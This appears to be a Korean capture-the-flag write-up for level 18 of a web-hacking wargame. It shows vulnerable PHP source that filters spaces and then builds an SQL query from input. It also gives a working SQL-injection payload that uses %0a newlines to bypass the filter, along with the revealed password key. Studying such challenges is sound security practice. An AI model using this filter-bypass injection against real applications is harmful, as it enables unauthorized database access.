webhack.teamtmp 18 번문제

Xero
박준혁 (한국디지털미디어고등학교 2 학년)
2012-06-05
wnsgurzxc@nate.com

다음과 같이 소스를 보여주며 공백을 우회해라고 한다.

select testid where testid='admin'
쿼리 전송

hint : 테이블 이름 level18, 테이블 내에는 admin밖에 없음
hint2 : 목적은 공백우회입니다.

```
if($_GET[txt])
{
        if(@eregi(" |/|₩*|₩t",$_GET[txt])) exit("no hack");
        $sql="select testid$_GET[txt]where testid='admin'";
        echo $sql;
        $sql2=@mysql_fetch_array(mysql_query($sql));

        if($sql2[testid]=="admin")
        {
                exit("PW : $pw");
        }
}
```

level18 테이블에서 admin 아이디를 뽑아라고 하니 원하는 쿼리문은 다음과 같다.
select testid from level18 where testid='admin'

그러나 eregi() 함수로 공백을 필터링하므로 공백을 우회할 수 있는 다른 방법을 찾아야 한다.
그리하여 다음과 같이 %0a(엔터)을 이용해 값을 전달해 보았다.
http://webhack.teamtmp.org/level18/index.php?txt=%0afrom%0alevel18%0a

그러자 다음과 같이 성공적으로 쿼리문이 완성되었고 답이 출려되었다.

select testid from level18 where testid='admin'

PW : 2d3889207c4e45a99f57cfe1f7b9bdcb

Key : 2d3889207c4e45a99f57cfe1f7b9bdcb